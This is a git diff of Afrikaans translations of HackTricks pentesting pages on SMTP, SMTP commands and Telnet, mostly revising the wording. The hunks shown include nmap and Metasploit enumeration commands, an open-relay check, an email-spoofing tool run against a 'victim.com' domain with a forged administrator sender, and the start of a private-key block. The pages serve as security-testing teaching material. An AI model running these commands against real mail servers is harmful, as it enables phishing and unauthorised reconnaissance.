**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, beveiligingskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -17,7 +17,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
@ -25,7 +25,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
## **Basiese Inligting**
|
## **Basiese Inligting**
|
||||||
|
|
||||||
Die **Simple Mail Transfer Protocol (SMTP)** is 'n protokol wat binne die TCP/IP suite gebruik word vir die **verzending en ontvangs van e-pos**. Vanweë sy beperkings in die opstel van boodskappe aan die ontvanger se kant, word SMTP dikwels saam met **POP3 of IMAP** gebruik. Hierdie bykomende protokolle stel gebruikers in staat om boodskappe op 'n bediener se posbus te stoor en om dit periodiek af te laai.
|
Die **Simple Mail Transfer Protocol (SMTP)** is 'n protokol wat binne die TCP/IP suite gebruik word vir die **stuur en ontvang van e-pos**. Vanweë sy beperkings in die opstel van boodskappe aan die ontvanger se kant, word SMTP dikwels saam met **POP3 of IMAP** gebruik. Hierdie bykomende protokolle stel gebruikers in staat om boodskappe op 'n bediener se posbus te stoor en om dit periodiek af te laai.
|
||||||
|
|
||||||
In praktyk is dit algemeen dat **e-posprogramme** **SMTP gebruik om e-posse te stuur**, terwyl **POP3 of IMAP gebruik word om dit te ontvang**. Op stelsels wat op Unix gebaseer is, is **sendmail** die SMTP-bediener wat die meeste gebruik word vir e-posdoeleindes. Die kommersiële pakket bekend as Sendmail sluit 'n POP3-bediener in. Verder bied **Microsoft Exchange** 'n SMTP-bediener en bied die opsie om POP3-ondersteuning in te sluit.
|
In praktyk is dit algemeen dat **e-posprogramme** **SMTP gebruik om e-posse te stuur**, terwyl **POP3 of IMAP gebruik word om dit te ontvang**. Op stelsels wat op Unix gebaseer is, is **sendmail** die SMTP-bediener wat die meeste gebruik word vir e-posdoeleindes. Die kommersiële pakket bekend as Sendmail sluit 'n POP3-bediener in. Verder bied **Microsoft Exchange** 'n SMTP-bediener en bied die opsie om POP3-ondersteuning in te sluit.
|
||||||
|
|
||||||
|
@ -81,7 +81,7 @@ NTLM supported
|
||||||
```
|
```
|
||||||
Of **automate** dit met **nmap** plugin `smtp-ntlm-info.nse`
|
Of **automate** dit met **nmap** plugin `smtp-ntlm-info.nse`
|
||||||
|
|
||||||
### Interne bediener naam - Inligting openbaarmaking
|
### Interne bediener naam - Inligting openbaarstelling
|
||||||
|
|
||||||
Sommige SMTP bedieners voltooi outomaties 'n sender se adres wanneer die opdrag "MAIL FROM" gegee word sonder 'n volledige adres, wat sy interne naam openbaar:
|
Sommige SMTP bedieners voltooi outomaties 'n sender se adres wanneer die opdrag "MAIL FROM" gegee word sonder 'n volledige adres, wat sy interne naam openbaar:
|
||||||
```
|
```
|
||||||
|
@ -171,15 +171,15 @@ Nmap: nmap --script smtp-enum-users <IP>
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## DSN Verslae
|
## DSN Verslae
|
||||||
|
|
||||||
**Afleweringsstatuskennisgewingverslae**: As jy 'n **e-pos** na 'n organisasie stuur na 'n **ongeldige adres**, sal die organisasie jou in kennis stel dat die adres ongeldig was deur 'n **pos terug na jou** te stuur. **Koptekste** van die teruggestuurde e-pos sal **bevat** moontlike **sensitiewe inligting** (soos IP-adres van die posdienste wat met die verslae geinteraksie het of anti-virus sagteware inligting).
|
**Afleweringsstatuskennisgewing Verslae**: As jy 'n **e-pos** na 'n organisasie stuur na 'n **ongeldige adres**, sal die organisasie jou kennisgee dat die adres ongeldig was deur 'n **pos terug na jou** te stuur. **Koptekste** van die teruggestuurde e-pos sal **bevat** moontlike **sensitiewe inligting** (soos IP-adres van die posdienste wat met die verslae geinteraksie het of anti-virus sagteware inligting).
|
||||||
|
|
||||||
## [Opdragte](smtp-commands.md)
|
## [Opdragte](smtp-commands.md)
|
||||||
|
|
||||||
|
@ -263,7 +263,7 @@ Organisasies word verhinder om ongeoorloofde e-pos namens hulle te laat stuur de
|
||||||
### SPF
|
### SPF
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
SPF [is "verouderd" in 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Dit beteken dat jy in plaas daarvan om 'n **TXT rekord** in `_spf.domain.com` te skep, dit in `domain.com` moet skep met die **dieselfde sintaksis**.\
|
SPF [is "verouderd" in 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Dit beteken dat in plaas daarvan om 'n **TXT rekord** in `_spf.domain.com` te skep, jy dit in `domain.com` skep met die **dieselfde sintaksis**.\
|
||||||
Boonop, om vorige spf rekords te hergebruik, is dit redelik algemeen om iets soos `"v=spf1 include:_spf.google.com ~all"` te vind.
|
Boonop, om vorige spf rekords te hergebruik, is dit redelik algemeen om iets soos `"v=spf1 include:_spf.google.com ~all"` te vind.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
@ -275,14 +275,14 @@ Van [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
|
||||||
|
|
||||||
| Meganisme | Beskrywing |
|
| Meganisme | Beskrywing |
|
||||||
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| ALL | Pas altyd; gebruik vir 'n standaard resultaat soos `-all` vir alle IP's wat nie deur vorige meganismes pas nie. |
|
| ALL | Pas altyd toe; gebruik vir 'n standaard resultaat soos `-all` vir alle IP's wat nie deur vorige meganismes pas nie. |
|
||||||
| A | As die domeinnaam 'n adres rekord (A of AAAA) het wat na die sender se adres opgelos kan word, sal dit pas. |
|
| A | As die domeinnaam 'n adres rekord (A of AAAA) het wat na die sender se adres opgelos kan word, sal dit pas. |
|
||||||
| IP4 | As die sender in 'n gegewe IPv4 adres reeks is, pas. |
|
| IP4 | As die sender in 'n gegewe IPv4 adres reeks is, pas. |
|
||||||
| IP6 | As die sender in 'n gegewe IPv6 adres reeks is, pas. |
|
| IP6 | As die sender in 'n gegewe IPv6 adres reeks is, pas. |
|
||||||
| MX | As die domeinnaam 'n MX rekord het wat na die sender se adres oplos, sal dit pas (d.w.s. die e-pos kom van een van die domein se inkomende e-pos bedieners). |
|
| MX | As die domeinnaam 'n MX rekord het wat na die sender se adres oplos, sal dit pas (d.w.s. die pos kom van een van die domein se inkomende pos bedieners). |
|
||||||
| PTR | As die domeinnaam (PTR rekord) vir die kliënt se adres in die gegewe domein is en daardie domeinnaam na die kliënt se adres oplos (voorwaarts-bevestigde omgekeerde DNS), pas. Hierdie mechanisme word ontmoedig en moet vermy word, indien moontlik. |
|
| PTR | As die domeinnaam (PTR rekord) vir die kliënt se adres in die gegewe domein is en daardie domeinnaam na die kliënt se adres oplos (voorwaarts-bevestigde omgekeerde DNS), pas. Hierdie mechanisme word ontmoedig en moet vermy word, indien moontlik. |
|
||||||
| EXISTS | As die gegewe domeinnaam na enige adres oplos, pas (maak nie saak na watter adres dit oplos nie). Dit word selde gebruik. Saam met die SPF makro-taal bied dit meer komplekse pasvorms soos DNSBL-vrae. |
|
| EXISTS | As die gegewe domeinnaam na enige adres oplos, pas (maak nie saak na watter adres dit oplos nie). Dit word selde gebruik. Saam met die SPF makro-taal bied dit meer komplekse pasvorms soos DNSBL-vrae. |
|
||||||
| INCLUDE | Verwys na die beleid van 'n ander domein. As daardie domein se beleid slaag, slaag hierdie mechanisme. As die ingeslote beleid egter misluk, gaan verwerking voort. Om heeltemal aan 'n ander domein se beleid te delegeer, moet die herlei uitbreiding gebruik word. |
|
| INCLUDE | Verwys na die beleid van 'n ander domein. As daardie domein se beleid slaag, slaag hierdie meganisme. As die ingeslote beleid egter misluk, gaan verwerking voort. Om heeltemal aan 'n ander domein se beleid te delegeer, moet die herlei uitbreiding gebruik word. |
|
||||||
| REDIRECT | <p>‘n Herlei is 'n aanduiding na 'n ander domeinnaam wat 'n SPF beleid huisves, dit stel verskeie domeine in staat om dieselfde SPF beleid te deel. Dit is nuttig wanneer daar met 'n groot aantal domeine gewerk word wat dieselfde e-pos infrastruktuur deel.</p><p>Die SPF beleid van die domein aangedui in die herlei Meganisme sal gebruik word.</p> |
|
| REDIRECT | <p>‘n Herlei is 'n aanduiding na 'n ander domeinnaam wat 'n SPF beleid huisves, dit stel verskeie domeine in staat om dieselfde SPF beleid te deel. Dit is nuttig wanneer daar met 'n groot aantal domeine gewerk word wat dieselfde e-pos infrastruktuur deel.</p><p>Die SPF beleid van die domein aangedui in die herlei Meganisme sal gebruik word.</p> |
|
||||||
|
|
||||||
Dit is ook moontlik om **Kwalifiseerders** te identifiseer wat aandui **wat gedoen moet word as 'n meganisme pas**. Standaard word die **kwalifiseerder "+"** gebruik (so as enige meganisme pas, beteken dit dit is toegelaat).\
|
Dit is ook moontlik om **Kwalifiseerders** te identifiseer wat aandui **wat gedoen moet word as 'n meganisme pas**. Standaard word die **kwalifiseerder "+"** gebruik (so as enige meganisme pas, beteken dit dit is toegelaat).\
|
||||||
|
@ -318,11 +318,11 @@ _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:1
|
||||||
```
|
```
|
||||||
Tradisioneel was dit moontlik om enige domeinnaam te spoof wat nie 'n korrekte/enige SPF rekord gehad het nie. **Tans**, as **e-pos** van 'n **domein sonder 'n geldige SPF rekord** kom, gaan dit waarskynlik **automaties verwerp/merk as onbetroubaar**.
|
Tradisioneel was dit moontlik om enige domeinnaam te spoof wat nie 'n korrekte/enige SPF rekord gehad het nie. **Tans**, as **e-pos** van 'n **domein sonder 'n geldige SPF rekord** kom, gaan dit waarskynlik **automaties verwerp/merk as onbetroubaar**.
|
||||||
|
|
||||||
Om die SPF van 'n domein te kontroleer, kan jy aanlyn gereedskap soos: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) gebruik.
|
Om die SPF van 'n domein te kontroleer, kan jy aanlyn gereedskap soos: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
|
||||||
|
|
||||||
### DKIM (DomainKeys Identified Mail)
|
### DKIM (DomainKeys Identified Mail)
|
||||||
|
|
||||||
DKIM word gebruik om uitgaande e-posse te teken, wat hul validasie deur eksterne Mail Transfer Agents (MTAs) moontlik maak deur die domein se publieke sleutel van DNS te verkry. Hierdie publieke sleutel is geleë in 'n domein se TXT rekord. Om toegang tot hierdie sleutel te verkry, moet 'n mens beide die selektor en die domeinnaam weet.
|
DKIM word gebruik om uitgaande e-posse te teken, wat hul validasie deur eksterne Mail Transfer Agents (MTAs) moontlik maak deur die domein se publieke sleutel uit DNS te verkry. Hierdie publieke sleutel is geleë in 'n domein se TXT rekord. Om toegang tot hierdie sleutel te verkry, moet 'n mens beide die selektor en die domeinnaam weet.
|
||||||
|
|
||||||
Byvoorbeeld, om die sleutel aan te vra, is die domeinnaam en selektor noodsaaklik. Hierdie kan in die e-pos kop `DKIM-Signature` gevind word, bv. `d=gmail.com;s=20120113`.
|
Byvoorbeeld, om die sleutel aan te vra, is die domeinnaam en selektor noodsaaklik. Hierdie kan in die e-pos kop `DKIM-Signature` gevind word, bv. `d=gmail.com;s=20120113`.
|
||||||
|
|
||||||
|
@ -336,7 +336,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p=
|
||||||
|
|
||||||
DMARC verbeter e-pos sekuriteit deur op SPF en DKIM protokolle te bou. Dit skets beleide wat posbedieners lei in die hantering van e-posse van 'n spesifieke domein, insluitend hoe om met outentikasiefoute om te gaan en waar om verslae oor e-posverwerkingsaksies te stuur.
|
DMARC verbeter e-pos sekuriteit deur op SPF en DKIM protokolle te bou. Dit skets beleide wat posbedieners lei in die hantering van e-posse van 'n spesifieke domein, insluitend hoe om met outentikasiefoute om te gaan en waar om verslae oor e-posverwerkingsaksies te stuur.
|
||||||
|
|
||||||
**Om die DMARC rekord te verkry, moet jy die subdomein \_dmarc navraag doen**
|
**Om die DMARC rekord te verkry, moet jy die subdomein \_dmarc vra**
|
||||||
```bash
|
```bash
|
||||||
# Reject
|
# Reject
|
||||||
dig _dmarc.facebook.com txt | grep DMARC
|
dig _dmarc.facebook.com txt | grep DMARC
|
||||||
|
@ -354,7 +354,7 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
||||||
|
|
||||||
| Tag Naam | Doel | Voorbeeld |
|
| Tag Naam | Doel | Voorbeeld |
|
||||||
| -------- | -------------------------------------------- | ------------------------------- |
|
| -------- | -------------------------------------------- | ------------------------------- |
|
||||||
| v | Protokol weergawe | v=DMARC1 |
|
| v | Protokol weergawe | v=DMARC1 |
|
||||||
| pct | Persentasie van boodskappe wat gefiltreer word | pct=20 |
|
| pct | Persentasie van boodskappe wat gefiltreer word | pct=20 |
|
||||||
| ruf | Verslag URI vir forensiese verslae | ruf=mailto:authfail@example.com |
|
| ruf | Verslag URI vir forensiese verslae | ruf=mailto:authfail@example.com |
|
||||||
| rua | Verslag URI van aggregaatverslae | rua=mailto:aggrep@example.com |
|
| rua | Verslag URI van aggregaatverslae | rua=mailto:aggrep@example.com |
|
||||||
|
@ -394,7 +394,7 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||||
### **Gereedskap**
|
### **Gereedskap**
|
||||||
|
|
||||||
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Kontroleer vir SPF en DMARC miskonfigurasies**
|
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Kontroleer vir SPF en DMARC miskonfigurasies**
|
||||||
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Kry outomaties SPF en DMARC konfigurasies**
|
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Kry SPF en DMARC konfigurasies outomaties**
|
||||||
|
|
||||||
### Stuur Vals E-pos
|
### Stuur Vals E-pos
|
||||||
|
|
||||||
|
@ -412,7 +412,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
|
||||||
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
|
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
As jy enige **fout kry met die dkim python lib** wat die sleutel ontleed, voel vry om hierdie een te gebruik.\
|
As jy enige **fout kry met die dkim python lib** om die sleutel te ontleed, voel vry om hierdie een te gebruik.\
|
||||||
**LET WEL**: Dit is net 'n vuil oplossing om vinnige kontroles te doen in gevalle waar die openssl private sleutel **nie deur dkim ontleed kan word** nie.
|
**LET WEL**: Dit is net 'n vuil oplossing om vinnige kontroles te doen in gevalle waar die openssl private sleutel **nie deur dkim ontleed kan word** nie.
|
||||||
```
|
```
|
||||||
-----BEGIN RSA PRIVATE KEY-----
|
-----BEGIN RSA PRIVATE KEY-----
|
||||||
|
@ -589,9 +589,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om essensiële bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -17,7 +17,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
|
@ -41,7 +41,7 @@ Dit identifiseer die ontvanger van die e-pos; as daar meer as een is, word die o
|
||||||
Hierdie SMTP-opdrag informeer die afstandbediener oor die geskatte grootte (in terme van bytes) van die aangehegte e-pos. Dit kan ook gebruik word om die maksimum grootte van 'n boodskap wat deur die bediener aanvaar kan word, te rapporteer.
|
Hierdie SMTP-opdrag informeer die afstandbediener oor die geskatte grootte (in terme van bytes) van die aangehegte e-pos. Dit kan ook gebruik word om die maksimum grootte van 'n boodskap wat deur die bediener aanvaar kan word, te rapporteer.
|
||||||
|
|
||||||
**DATA**\
|
**DATA**\
|
||||||
Met die DATA-opdrag begin die e-posinhoud oorgedra te word; dit word gewoonlik gevolg deur 'n 354 antwoordkode wat deur die bediener gegee word, wat die toestemming gee om die werklike oordrag te begin.
|
Met die DATA-opdrag begin die e-posinhoud oorgedra te word; dit word gewoonlik gevolg deur 'n 354 antwoordkode gegee deur die bediener, wat die toestemming gee om die werklike oordrag te begin.
|
||||||
|
|
||||||
**VRFY**\
|
**VRFY**\
|
||||||
Die bediener word gevra om te verifieer of 'n spesifieke e-posadres of gebruikersnaam werklik bestaan.
|
Die bediener word gevra om te verifieer of 'n spesifieke e-posadres of gebruikersnaam werklik bestaan.
|
||||||
|
@ -50,10 +50,10 @@ Die bediener word gevra om te verifieer of 'n spesifieke e-posadres of gebruiker
|
||||||
Hierdie opdrag word gebruik om rolle tussen die kliënt en die bediener om te draai, sonder die behoefte om 'n nuwe verbinding te maak.
|
Hierdie opdrag word gebruik om rolle tussen die kliënt en die bediener om te draai, sonder die behoefte om 'n nuwe verbinding te maak.
|
||||||
|
|
||||||
**AUTH**\
|
**AUTH**\
|
||||||
Met die AUTH-opdrag, autentiseer die kliënt homself by die bediener, deur sy gebruikersnaam en wagwoord te gee. Dit is 'n ander laag van sekuriteit om 'n behoorlike oordrag te waarborg.
|
Met die AUTH-opdrag, autentiseer die kliënt homself aan die bediener, deur sy gebruikersnaam en wagwoord te gee. Dit is 'n ander laag van sekuriteit om 'n behoorlike oordrag te waarborg.
|
||||||
|
|
||||||
**RSET**\
|
**RSET**\
|
||||||
Dit kommunikeer aan die bediener dat die aanhoudende e-pos oordrag beëindig gaan word, alhoewel die SMTP-gesprek nie gesluit sal word nie (soos in die geval van QUIT).
|
Dit kommunikeer aan die bediener dat die aanhoudende e-pos oordrag beëindig gaan word, alhoewel die SMTP gesprek nie gesluit sal word nie (soos in die geval van QUIT).
|
||||||
|
|
||||||
**EXPN**\
|
**EXPN**\
|
||||||
Hierdie SMTP-opdrag vra om 'n bevestiging oor die identifikasie van 'n poslys.
|
Hierdie SMTP-opdrag vra om 'n bevestiging oor die identifikasie van 'n poslys.
|
||||||
|
@ -62,11 +62,11 @@ Hierdie SMTP-opdrag vra om 'n bevestiging oor die identifikasie van 'n poslys.
|
||||||
Dit is 'n kliënt se versoek om inligting wat nuttig kan wees vir 'n suksesvolle oordrag van die e-pos.
|
Dit is 'n kliënt se versoek om inligting wat nuttig kan wees vir 'n suksesvolle oordrag van die e-pos.
|
||||||
|
|
||||||
**QUIT**\
|
**QUIT**\
|
||||||
Dit beëindig die SMTP-gesprek.
|
Dit beëindig die SMTP gesprek.
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
|
|
|
@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
@ -17,9 +17,9 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -37,13 +37,13 @@ Telnet is 'n netwerkprotokol wat gebruikers 'n ONveilige manier bied om toegang
|
||||||
```bash
|
```bash
|
||||||
nc -vn <IP> 23
|
nc -vn <IP> 23
|
||||||
```
|
```
|
||||||
Alle interessante opsporing kan uitgevoer word deur **nmap**:
|
Alle interessante enumerasie kan uitgevoer word deur **nmap**:
|
||||||
```bash
|
```bash
|
||||||
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
|
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
|
||||||
```
|
```
|
||||||
Die skrip `telnet-ntlm-info.nse` sal NTLM-inligting verkry (Windows weergawes).
|
Die skrip `telnet-ntlm-info.nse` sal NTLM-inligting verkry (Windows weergawes).
|
||||||
|
|
||||||
Van die [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): In die TELNET-protokol is daar verskeie "**opsies**" wat goedgekeur sal word en gebruik kan word met die "**DO, DON'T, WILL, WON'T**" struktuur om 'n gebruiker en bediener in staat te stel om saam te stem om 'n meer uitgebreide (of dalk net verskillende) stel konvensies vir hul TELNET-verbinding te gebruik. Sulke opsies kan insluit die verandering van die karakterstel, die echo-modus, ens.
|
Van die [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): In die TELNET-protokol is daar verskeie "**opsies**" wat goedgekeur sal word en gebruik kan word met die "**DO, DON'T, WILL, WON'T**" struktuur om 'n gebruiker en bediener toe te laat om saam te stem om 'n meer uitgebreide (of dalk net ander) stel konvensies vir hul TELNET-verbinding te gebruik. Sulke opsies kan insluit die verandering van die karakterstel, die echo-modus, ens.
|
||||||
|
|
||||||
**Ek weet dit is moontlik om hierdie opsies te tel, maar ek weet nie hoe nie, so laat weet my as jy weet hoe.**
|
**Ek weet dit is moontlik om hierdie opsies te tel, maar ek weet nie hoe nie, so laat weet my as jy weet hoe.**
|
||||||
|
|
||||||
|
